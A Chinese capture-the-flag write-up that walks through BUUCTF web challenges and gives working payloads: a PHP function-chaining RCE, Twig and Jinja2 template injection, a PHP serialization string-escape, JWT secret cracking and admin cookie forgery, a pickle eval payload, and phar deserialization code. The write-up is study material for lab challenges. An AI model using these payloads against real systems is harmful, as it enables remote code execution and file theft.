BUUCTF-刷题记录-4

WEB

[CISCN 2019 初赛]Love Math

这题主要是通过给的那些函数来进行一个RCE,其中值得注意的就是进制转换函数base_convert()dechex()了,我们的主要目的是造出来一个_GET,然后再通过这个来传入参数,进行RCE。而通过base_convert()函数可以进行任意进制间的一个转换,也就是可以构造出来任意的字符串,这里可以先通过一个base_convert()函数造出来一个hex2bin,然后通过dechex()函数把十进制转换成16进制,然后通过hex2bin()这个函数把该十六进制字符串转换成_GET,然后通过白名单中一些比较短的字符串来传递参数,例如picos,最终构造为

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

得到flag

[BJDCTF2020]Cookie is so stable

在flag栏里面输入{ {1+1}},返回2,确认为SSTI漏洞,注入点也就是为存于Cookie中的user值。
BUUCTF-刷题记录-4_第1张图片
然后输入{ {7*'7'}}返回49,确认为Twig模板,然后直接打即可,payload如下

{
    {_self.env.registerUndefinedFilterCallback("exec")}}{
    {_self.env.getFilter("cat /flag")}}

[WesternCTF2018]shrine

给了源码,输入/shrine/{ {7*'7'}}返回7777777,却认为Jinja2的模板,但是不能直接打了,因为过滤掉了configself

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
#这里告诉我们flag在config里面

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
     {% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

当我们需要获取配置信息时,需要获得current_app这样的全局变量,即构造如下payload即可获得flag

/shrine/{
    {url_for.__globals__['current_app'].config}}
/shrine/{
    {get_flashed_messages.__globals__['current_app'].config}}

[安洵杯 2019]easy_serialize_php


$function = @$_GET['f'];

function filter($img){
     
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
    //过滤掉一些关键字,并替换为空,可造成字符串逃逸
}

if($_SESSION){
     
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
//存在变量覆盖

if(!$function){
     
    echo 'source_code';
}

if(!$_GET['img_path']){
      
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
     
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);

if($function == 'highlight_file'){
     
    highlight_file('index.php');
}else if($function == 'phpinfo'){
     
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
     
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

首先是根据提示访问phpinfo发现了

所以要想办法读取这个文件,读取文件的话只能通过img_path来传入路径,可惜如果是我们传入的img_path,除了会被base_enconde一次,还会被sha1一次,导致最后读取的时候无法解密,文件读取不出来。但是这题做了一个过滤,把一些关键词过滤为空,这样就造成了字符串长度逃逸,而且存在一个变量覆盖,我们可以通过POST方法重新传入一个_SESSION["user"] = 'flagphphphhp'这样类似的东西,使其造成过滤,造成字符串长度的一个逃逸,同时传入_SESSION[function]为我们自己构造的值,也同时传入function=show_image,从而进行一个反序列化字符串长度的逃逸以及一个变量覆盖,读取这个文件,payload如下,post以下数据

_SESSION[user]=phpphpphpphpphpphpphpphp&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}&function=show_image

得到提示

替换一下base64的内容即可,同时这个base64以后的长度也是20,所以不用做更改,最后读取flag的payload:

_SESSION[user]=phpphpphpphpphpphpphpphp&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}&function=show_image

[CISCN2019 华北赛区 Day1 Web2]ikun

看到这里说一定要买到6级号
BUUCTF-刷题记录-4_第2张图片
而且这里有一个商品页面的查询,所以写个脚本跑一下,看看第几页有6级号买

import requests
from time import sleep
url="http://0928aa12-db7b-42f6-975e-cf52993ad3c6.node3.buuoj.cn/shop?page="


for i in range(0,500):
    res = requests.get(url + str(i))
    if 'lv6.png' in res.text:
        print(i)
        break
    sleep(0.3)
    print(i)

得到结果,180页,不过太贵了,买不起,但是抓包发现,折扣是咱们传过去的,直接修改即可,购买成功之后进入这样的一个页面。
BUUCTF-刷题记录-4_第3张图片
然后发现cookie是jwt的,但是没有告诉我们SECRET_KEY,所以用c-jwt-cracker这个工具爆破一下看看,得到了SECRET_KEY1KUN

然后把cookie伪造成admin,不知道怎么回事,工具一直报错,然后使用jwt的在线网站伪造的
BUUCTF-刷题记录-4_第4张图片
发现了源码的路径

Admin.py中发现一处pickle反序列漏洞的地方
BUUCTF-刷题记录-4_第5张图片
使用魔术方法__reduce__来进行解题

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       # return (eval,("__import__('os').popen('ls').read()",))
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

将生成的数据post过去即可获得flag,但是没搞懂的是为什么要传入这个_xsrf的参数及其的值
BUUCTF-刷题记录-4_第6张图片

[CISCN2019 华北赛区 Day1 Web1]Dropbox

下载文件的功能点存在一个任意文件下载漏洞,通过这个点来读取程序的php源码
BUUCTF-刷题记录-4_第7张图片

class User {
     
    public $db;
    public function __destruct() {
     
        $this->db->close();
    }
}

class File {
     
    public $filename;
    public function close() {
     
        return file_get_contents($this->filename);
    }
}

class.phpFile类中存在一个可以读取文件的close()方法,在User类中的__destruct()方法中调用了close()方法,如果我们想要调用File->close(),我们就要让User类的$db = 'File'
通过把FileList类的$files赋值为File(),然后又把File类的$filename赋值为flag.txt,把User类的$db赋值为FileList类,然后在进行文件删除的时候,php找不到FileList类的close()方法,从而调用__call魔术方法,找到位于File类中的close()方法,从而调用,输出flag。注意上传文件的时候修改文件名为phar://1.png

//生成phar的代码

	class User
	{
     
		public $db;
	}
	class FileList
	{
     
		private $files;
		public function __construct()
		{
     
			$this->files=array(new File());
		}
	}
	class File
	{
     
		public $filename='/flag.txt';
	}

	$a = new FileList();
	$b = new User();
    $b -> db = $a;
    
    $phar = new Phar('1.phar');
    $phar->startBuffering();
    $phar->addFromString('1.txt', 'text');
    $phar->setStub('');
    $phar->setMetadata($b);
    $phar->stopBuffering();
 ?>

BUUCTF-刷题记录-4_第8张图片

MISC

寂静之城

一道社工题,不过由于时代久远,东西已经被删的差不多了,最后从其他人的wp中找到flag

flag{31010419920831481363542021127}

我这算社工吗?哈哈,应该算py。

你可能感兴趣的:(BUUCTF刷题记录)